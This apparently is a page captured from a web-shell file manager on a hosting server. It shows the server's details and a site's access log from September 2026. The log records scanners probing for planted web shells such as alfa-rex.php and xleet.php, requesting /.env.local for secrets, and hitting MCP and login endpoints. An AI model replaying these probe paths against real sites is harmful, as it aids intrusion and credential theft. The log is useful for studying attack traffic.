uawdijnntqw1x1x1
IP : 216.73.217.127
Hostname : vps38426.inmotionhosting.com
Kernel : Linux vps38426.inmotionhosting.com 3.10.0-1160.119.1.vz7.224.4 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Disable Function : exec,passthru,shell_exec,system
OS : Linux
PATH:
/
home
/
welbornwebsites
/
.
/
access-logs
/
guardianjetcenter.com.welbornwebsites.com-ssl_log
/
/
18.235.110.182 - - [09/Sep/2026:05:46:25 -0700] "GET / HTTP/1.1" 421 362 "-" "RecordedFuture Global Inventory Crawler" 70.172.45.191 - - [09/Sep/2026:06:20:04 -0700] "GET /wp-login.php HTTP/1.1" 200 7489 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" 94.154.43.122 - - [09/Sep/2026:06:41:04 -0700] "GET /.env.local HTTP/1.1" 404 48325 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" 198.235.24.45 - - [09/Sep/2026:07:32:27 -0700] "GET / HTTP/1.1" 301 - "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 20.235.109.206 - - [09/Sep/2026:08:18:19 -0700] "GET / HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:20 -0700] "GET /autoload_classmap.php HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:21 -0700] "GET /post.php HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:21 -0700] "GET /1.php HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:21 -0700] "GET /flower.php HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:22 -0700] "GET /admin.php HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:22 -0700] "GET /file.php HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:23 -0700] "GET /meta.php HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:23 -0700] "GET /index.php HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:24 -0700] "GET /abcd.php HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:24 -0700] "GET /about.php HTTP/1.1" 200 12082 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:24 -0700] "GET /randkeyword.php HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:25 -0700] "GET /goods.php HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:25 -0700] "GET /hehe.php HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:26 -0700] "GET /user.php HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:26 -0700] "GET /wp-2019.php HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:26 -0700] "GET /chosen.php HTTP/1.1" 200 12093 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:27 -0700] "GET /functions.phpA HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:27 -0700] "GET /cron.php HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:28 -0700] "GET /edit.php HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:28 -0700] "GET /gecko-new.php HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:29 -0700] "GET /cookie.php HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:29 -0700] "GET /xleet.php HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:29 -0700] "GET /spip.php HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:30 -0700] "GET /22.php HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:30 -0700] "GET /room.php HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:31 -0700] "GET /disagreed.php HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:31 -0700] "GET /text.php HTTP/1.1" 200 12081 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:31 -0700] "GET /alfa-rex.php HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:32 -0700] "GET /alfa-rex.php7 HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:32 -0700] "GET /feeds.php HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:33 -0700] "GET /radio.php HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:33 -0700] "GET /dropdown.php HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:34 -0700] "GET /defaults.php HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:34 -0700] "GET /system.php HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:34 -0700] "GET /xmlrpc.php HTTP/1.1" 200 12088 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:35 -0700] "GET /xmlrpc.php0 HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:35 -0700] "GET /colors.php HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:36 -0700] "GET /updates.php HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:36 -0700] "GET /alfa-rex1.php HTTP/1.1" 200 12092 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:36 -0700] "GET /wp-index.php HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:37 -0700] "GET /wp-admin.php HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:37 -0700] "GET /alfa.php HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:38 -0700] "GET /alfanew.php7 HTTP/1.1" 200 12095 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:38 -0700] "GET /locale.php HTTP/1.1" 200 12091 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:39 -0700] "GET /wxo.php HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:39 -0700] "GET /colour.php HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:39 -0700] "GET /files.php HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:40 -0700] "GET /install.php HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:40 -0700] "GET /wp-contentt.php HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:41 -0700] "GET /config.php7 HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:41 -0700] "GET /config.php HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:42 -0700] "GET /theme.php HTTP/1.1" 200 12089 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:42 -0700] "GET /block-bindings.php HTTP/1.1" 200 12096 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:42 -0700] "GET /class_api.php HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:43 -0700] "GET /inputs.php HTTP/1.1" 200 12087 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:43 -0700] "GET /root.php HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:44 -0700] "GET /menu.php HTTP/1.1" 200 12079 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:44 -0700] "GET /plugin.php HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:45 -0700] "GET /cloud.php HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:45 -0700] "GET /configs.php HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:46 -0700] "GET /wp-configs.php HTTP/1.1" 200 12090 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:46 -0700] "GET /update.php HTTP/1.1" 200 12085 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:46 -0700] "GET /2.php HTTP/1.1" 200 12086 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:47 -0700] "GET /input.php HTTP/1.1" 200 12084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:18:47 -0700] "GET /aaa.php HTTP/1.1" 200 12083 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:08:27:13 -0700] "GET / HTTP/1.1" 301 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 198.235.24.156 - - [09/Sep/2026:08:27:40 -0700] "GET / HTTP/1.1" 200 39181 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 45.156.129.97 - - [09/Sep/2026:08:31:19 -0700] "GET / HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.129.95 - - [09/Sep/2026:08:31:23 -0700] "POST /mcp HTTP/1.1" 503 - "-" "python-httpx/0.28.1" 45.156.129.95 - - [09/Sep/2026:08:31:23 -0700] "GET /sse HTTP/1.1" 503 - "-" "python-httpx/0.28.1" 45.156.129.96 - - [09/Sep/2026:08:31:24 -0700] "GET /favicon.ico HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 104.28.222.47 - - [09/Sep/2026:08:37:23 -0700] "GET /_rNd9xZ7kL3 HTTP/1.1" 404 48323 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36" 104.28.222.47 - - [09/Sep/2026:08:37:28 -0700] "GET / HTTP/1.1" 301 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15" 104.28.222.47 - - [09/Sep/2026:08:37:32 -0700] "GET / HTTP/1.1" 301 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 14_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.4 Safari/605.1.15" 104.28.222.46 - - [09/Sep/2026:08:37:36 -0700] "GET / HTTP/1.1" 301 - "https://www.google.com/search?q=www.guardianjetcenter.com.welbornwebsites.com" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0) Gecko/20100101 Firefox/137.0" 20.235.109.206 - - [09/Sep/2026:08:41:41 -0700] "GET / HTTP/1.1" 503 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 94.154.43.125 - - [09/Sep/2026:09:47:39 -0700] "GET /.env.local HTTP/1.1" 503 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" 94.154.43.125 - - [09/Sep/2026:09:47:39 -0700] "GET /.env.local HTTP/1.1" 200 39180 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" 94.154.43.122 - - [09/Sep/2026:09:47:39 -0700] "GET /.env.local HTTP/1.1" 503 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" 94.154.43.180 - - [09/Sep/2026:09:47:39 -0700] "GET /.env.local HTTP/1.1" 200 39192 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" 94.154.43.125 - - [09/Sep/2026:09:47:39 -0700] "GET /.env.local HTTP/1.1" 503 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36" 109.105.210.59 - - [09/Sep/2026:10:19:20 -0700] "GET / HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 109.105.210.57 - - [09/Sep/2026:10:19:24 -0700] "POST /mcp HTTP/1.1" 503 - "-" "python-httpx/0.28.1" 109.105.210.57 - - [09/Sep/2026:10:19:24 -0700] "GET /sse HTTP/1.1" 503 - "-" "python-httpx/0.28.1" 109.105.210.57 - - [09/Sep/2026:10:19:25 -0700] "GET /favicon.ico HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.69 - - [09/Sep/2026:10:45:01 -0700] "GET / HTTP/1.1" 200 12076 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.66 - - [09/Sep/2026:10:45:09 -0700] "POST /mcp HTTP/1.1" 200 12078 "-" "python-httpx/0.28.1" 45.156.128.66 - - [09/Sep/2026:10:45:10 -0700] "GET /sse HTTP/1.1" 200 12076 "-" "python-httpx/0.28.1" 45.156.128.67 - - [09/Sep/2026:10:45:11 -0700] "GET /favicon.ico HTTP/1.1" 200 12089 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 185.226.197.42 - - [09/Sep/2026:10:48:19 -0700] "GET / HTTP/1.1" 200 12082 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 185.226.197.42 - - [09/Sep/2026:10:48:28 -0700] "POST /mcp HTTP/1.1" 200 12082 "-" "python-httpx/0.28.1" 185.226.197.42 - - [09/Sep/2026:10:48:28 -0700] "GET /sse HTTP/1.1" 200 12085 "-" "python-httpx/0.28.1" 185.226.197.43 - - [09/Sep/2026:10:48:29 -0700] "GET /favicon.ico HTTP/1.1" 200 12094 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 109.105.209.3 - - [09/Sep/2026:11:10:52 -0700] "GET / HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 109.105.209.2 - - [09/Sep/2026:11:10:58 -0700] "POST /mcp HTTP/1.1" 503 - "-" "python-httpx/0.28.1" 109.105.209.2 - - [09/Sep/2026:11:10:58 -0700] "GET /sse HTTP/1.1" 503 - "-" "python-httpx/0.28.1" 109.105.209.2 - - [09/Sep/2026:11:10:58 -0700] "GET /favicon.ico HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 37.209.169.147 - - [09/Sep/2026:11:39:07 -0700] "GET /wp-login.php HTTP/1.1" 200 7489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36" 138.246.253.24 - - [09/Sep/2026:12:09:40 -0700] "GET /robots.txt HTTP/1.1" 503 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36" 45.148.10.5 - - [09/Sep/2026:13:22:03 -0700] "GET / HTTP/1.1" 200 12067 "-" "Mozilla/5.0 (Linux; Android 7.1.2; FP2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3880.0 Mobile Safari/537.36" 61.170.149.111 - - [09/Sep/2026:13:23:44 -0700] "GET /wp-login.php HTTP/1.1" 200 7489 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/150.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:13:51:49 -0700] "GET / HTTP/1.1" 301 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 20.235.109.206 - - [09/Sep/2026:14:15:41 -0700] "GET / HTTP/1.1" 503 - "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" 45.148.10.5 - - [09/Sep/2026:14:18:28 -0700] "GET / HTTP/1.1" 503 - "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36" 185.176.112.63 - - [09/Sep/2026:14:24:33 -0700] "GET /wp-login.php HTTP/1.1" 200 7489 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/149.0.0.0 Safari/537.36" 45.156.128.173 - - [09/Sep/2026:15:10:12 -0700] "GET / HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.175 - - [09/Sep/2026:15:10:13 -0700] "GET /api/session/properties HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.173 - - [09/Sep/2026:15:10:15 -0700] "GET /solr/ HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.175 - - [09/Sep/2026:15:10:16 -0700] "GET /index.jsp HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.173 - - [09/Sep/2026:15:10:17 -0700] "GET /identity HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.173 - - [09/Sep/2026:15:10:19 -0700] "GET /login.do HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.172 - - [09/Sep/2026:15:10:19 -0700] "GET /favicon.ico HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.175 - - [09/Sep/2026:15:10:20 -0700] "GET / HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.175 - - [09/Sep/2026:15:10:21 -0700] "GET /aspera/faspex/ HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.173 - - [09/Sep/2026:15:10:22 -0700] "GET / HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.173 - - [09/Sep/2026:15:10:22 -0700] "GET /sugar_version.json HTTP/1.1" 503 - "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.86 Safari/537.36" 45.156.128.174 - - 